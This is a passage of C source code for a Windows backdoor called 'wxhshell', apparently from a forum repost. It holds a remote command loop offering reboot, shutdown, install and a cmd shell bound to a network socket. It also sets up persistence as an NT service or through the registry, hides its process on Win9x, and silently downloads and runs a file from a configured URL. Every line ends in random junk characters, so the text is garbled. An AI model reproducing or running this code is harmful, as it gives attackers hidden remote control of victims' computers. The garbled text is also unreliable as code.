  case 'i': { >JY\h1+ H  
    if(Install()) @o'L!5Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sN?Rx}  
    else }fo_"bs@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W _Hoa*~  
    break; ;E.f%   
    } =ePX^J*M'  
  // 卸载 um_J%v6ER  
  case 'r': { *f>\X[wN  
    if(Uninstall()) !dh:jPpKq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t# y,9>6  
    else 1n7'\esC*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k4u/v n`&r  
    break; I\c7V~^hnG  
    } )uR_d=B&  
  // 显示 wxhshell 所在路径 t?Q bi)T=z  
  case 'p': { m}oR*<.  
    char svExeFile[MAX_PATH]; vZ57 S13  
    strcpy(svExeFile,"\n\r"); aot2F60J,  
      strcat(svExeFile,ExeFile); B>=D$*_  
        send(wsh,svExeFile,strlen(svExeFile),0); 9^?muP<A  
    break; pYr+n9)^  
    } -U A &Zt  
  // 重启 dKU :\y  
  case 'b': { nHq4f&(H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XK@&$~iA3  
    if(Boot(REBOOT)) 7[mfI?*m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K\8zhY  
    else { tu* uQ:Ipk  
    closesocket(wsh); Q 3^h  
    ExitThread(0); `zw%  
    } yZgWFf.X  
    break; >qr/1mW  
    } _-543B}  
  // 关机 .QZjJ9pvK  
  case 'd': { B]()  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c?. i;4yh  
    if(Boot(SHUTDOWN)) ~x<?Pj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (S+/e5c)  
    else { ^ +@OiL>&i  
    closesocket(wsh); )1Y?S;  
    ExitThread(0); ;fW~Gb?"  
    } U$+,|\9  
    break; /J/V1dC}]D  
    } Z2})n -  
  // 获取shell w%iw xo   
  case 's': { ~"J1 @<  
    CmdShell(wsh); Y_jc*S  
    closesocket(wsh); #Ktk["6  
    ExitThread(0); ]adgOlM  
    break; }d>.Nj#zh  
  } _ A# lyp  
  // 退出 A/UOcl+N  
  case 'x': { (Sgsy^|N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z~~pH9=c2  
    CloseIt(wsh); <Lxp t  
    break; Eri007?D  
    } AH/o-$C&  
  // 离开 A[7H-1-  
  case 'q': { jXALL8[c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jn ztCNaX  
    closesocket(wsh); ;]m;p,$  
    WSACleanup(); h^Yh~84T  
    exit(1); #5{xWMp/0  
    break; #\^=3A|b  
        } |gu@b~8  
  } G"-V6CA[  
  } Db*b"/]  
oA~0"}eS  
  // 提示信息 6Y,&q|K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {^N,$,Ab.  
} '/ Hoq  
  } *C+[I  
KGo^>us  
  return; YLA(hg|  
} Ij.mLO]  
H!X*29nX  
// shell模块句柄 ip}%Y6Wj  
int CmdShell(SOCKET sock) 9e>2kd  
{ mk!8>XvM  
STARTUPINFO si; $V?sD{=W  
ZeroMemory(&si,sizeof(si)); G;u~H<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U_gkO;s%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |zP~/  
PROCESS_INFORMATION ProcessInfo; &K9RV4M5  
char cmdline[]="cmd"; ^OIo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LK*9`dzv=G  
  return 0; ts@$*  
} GeB&S!F  
er1X Z  
// 自身启动模式 4]0:zS*O  
int StartFromService(void) $yj*n;  
{ nFGX2|d  
typedef struct rDoMz3[w  
{ J>#yA0QD2  
  DWORD ExitStatus; %++: K  
  DWORD PebBaseAddress; ;Wk3>\nT-  
  DWORD AffinityMask; V?x&\<;,  
  DWORD BasePriority; =+T0[|gc(r  
  ULONG UniqueProcessId; P(8 uL|^  
  ULONG InheritedFromUniqueProcessId; mSu$1m8  
}   PROCESS_BASIC_INFORMATION; l?J[K  
{ 6qxg_{  
PROCNTQSIP NtQueryInformationProcess; Ev [?5R  
<'sm($.2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'w72i/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !XI9evJw  
(]I=';\  
  HANDLE             hProcess; _1$Y\Y  
  PROCESS_BASIC_INFORMATION pbi; 4,X CbcC  
9 lG a*f)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iS.gN&\z^  
  if(NULL == hInst ) return 0; $[MAm)c:]{  
]K>bSK^TX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q7v1xBM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lAC "7 Z?F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ..'"kX:5  
3&M0@/  
  if (!NtQueryInformationProcess) return 0; jHatUez4O  
Ujvm|ml  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .Sa=VC?EZ  
  if(!hProcess) return 0; @t$yg$Q?[  
u =~`5vA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e F}KOOfC  
3bo [34  
  CloseHandle(hProcess); LXrk5>9  
0/7.RpX,.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b~)2`l  
if(hProcess==NULL) return 0; j!k$SDA-  
}>621L3 -  
HMODULE hMod; ]uh/!\  
char procName[255]; PGYx] r  
unsigned long cbNeeded; T4ugG?B*  
]{+Y!tD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yqtHlz%  
]E DC s?,  
  CloseHandle(hProcess); ('dbMH\O  
toOdL0hCe  
if(strstr(procName,"services")) return 1; // 以服务启动 4:b'VHW.  
^x^(Rk}|  
  return 0; // 注册表启动 4,Uqcw?!F'  
} <~_XT>`y  
4N7|LxNNl_  
// 主模块 -G_3B(]`  
int StartWxhshell(LPSTR lpCmdLine) j:2 F97  
{ _E6N*ORV  
  SOCKET wsl; ]8Xip/uE  
BOOL val=TRUE; :+ 1Wmg  
  int port=0; h>!9N dzG  
  struct sockaddr_in door; (q}Li rR  
H}CmSo8&  
  if(wscfg.ws_autoins) Install(); %CgV:.,K  
hK{<&T  
port=atoi(lpCmdLine); 4HGS  
n3-VqYUP  
if(port<=0) port=wscfg.ws_port; 4)'U!jSb  
n)35-?R/M  
  WSADATA data; })J}7@VPO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wfc~"GQq4  
GWWaH+F[h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   inK;n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +~y>22Zfg  
  door.sin_family = AF_INET; I6@"y0I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :l iDoGDi  
  door.sin_port = htons(port); 0plX"NU  
aS\$@41"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F=#V/ #ia  
closesocket(wsl); @^ m0>H  
return 1; k6o8'6wN  
} M1*bT@ 6  
[/n@BK  
  if(listen(wsl,2) == INVALID_SOCKET) { 9zIqSjos"  
closesocket(wsl); MQ0r ln?  
return 1; ?`O^;f  
} G\V*j$}!  
  Wxhshell(wsl); n"Bc2}{  
  WSACleanup(); \ a(ce?C  
iXvrZofE  
return 0; $p$p C/:%  
Y| ch ;  
} #5'& |<  
'!,(G3  
// 以NT服务方式启动 DGS,iRLnA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vry_X2  
{ M:iH7K  
DWORD   status = 0; P*VZ$bUe5@  
  DWORD   specificError = 0xfffffff; x',6VTz^  
F*>#Xr~/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2' ^7G@%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /4+(eI7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mo(>SnS<  
  serviceStatus.dwWin32ExitCode     = 0; q(~|roKA(  
  serviceStatus.dwServiceSpecificExitCode = 0; Qh-:P`CN  
  serviceStatus.dwCheckPoint       = 0; ?#z<<FR  
  serviceStatus.dwWaitHint       = 0; [+ xsX*+  
\4C[<Gbx$(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u*,>$(-u  
  if (hServiceStatusHandle==0) return; uLPBl~Y  
P t/]Z<VL  
status = GetLastError(); T&b_*)=S  
  if (status!=NO_ERROR) H6|eUU[&  
{ 1+XM1(|c`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9n;6zVV%`  
    serviceStatus.dwCheckPoint       = 0; W g6H~x  
    serviceStatus.dwWaitHint       = 0; `.3@Ki~$#  
    serviceStatus.dwWin32ExitCode     = status; 57gt"f  
    serviceStatus.dwServiceSpecificExitCode = specificError; c< MF:|(}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .kPNWNrw  
    return; *h3iAcM8  
  } Z[ (d7  
3JBXGT0gJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C1UU v=|  
  serviceStatus.dwCheckPoint       = 0; nw%`CnzT  
  serviceStatus.dwWaitHint       = 0; UXJblo#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5\#I4\  
} g<.Is V  
JTm'fo[  
// 处理NT服务事件,比如:启动、停止 g,]m8%GHE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W{tZX^|  
{ DF4CB#  
switch(fdwControl) )OxcCV?5Z  
{ "`4ky ]  
case SERVICE_CONTROL_STOP: 4"(rZWv  
  serviceStatus.dwWin32ExitCode = 0; (=Kv1 HaD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [WG\w j.  
  serviceStatus.dwCheckPoint   = 0; 2Ki_d  
  serviceStatus.dwWaitHint     = 0; [xr^t1  
  { <<A#4!f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p^RX<L/\=_  
  } js5VgP`  
  return; cGgfCF^`  
case SERVICE_CONTROL_PAUSE: aK@ Y) Ju'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sVw:d _ E  
  break; tzIP4CR~F&  
case SERVICE_CONTROL_CONTINUE: QRf>lZP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  ID,_0b  
  break; igk<]AwxS  
case SERVICE_CONTROL_INTERROGATE: Hxgc9Fis  
  break; _avf%OS  
}; vB_3lAJt@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :ZIa   
} U{M3QOF  
_Tor9Tj  
// 标准应用程序主函数 kodd7 AD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3,{eH6,O7M  
{ ~a`[p\  
*S:~U  
// 获取操作系统版本 \+O.vRc"M  
OsIsNt=GetOsVer(); Jl`^`Yv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /[FDiJH2  
5 k3m"*  
  // 从命令行安装 k !0O[U  
  if(strpbrk(lpCmdLine,"iI")) Install(); \\KjiT'  
wPjq B{!Q  
  // 下载执行文件 zH}3J}  
if(wscfg.ws_downexe) { CMW4Zqau*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  c2M  
  WinExec(wscfg.ws_filenam,SW_HIDE); b^ h_`  
} 3U{ mC}F  
S7f.^8  
if(!OsIsNt) { <Q9l'u]3$c  
// 如果时win9x,隐藏进程并且设置为注册表启动 /h+ W L  
HideProc(); w_Slg&S  
StartWxhshell(lpCmdLine); lTMY|{9  
} BKg8p]`+  
else Yjc U2S"=P  
  if(StartFromService()) 0@-4.IHl  
  // 以服务方式启动 @9HRGxJ=}  
  StartServiceCtrlDispatcher(DispatchTable); ,X^3.ILz  
else u NyN[U  
  // 普通方式启动 d/Q#Z  
  StartWxhshell(lpCmdLine); M0fN[!*z  
MOaI~xZ  
return 0; /f1]U LmC:  
}
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只看该作者 1 发表于: 2006-10-10
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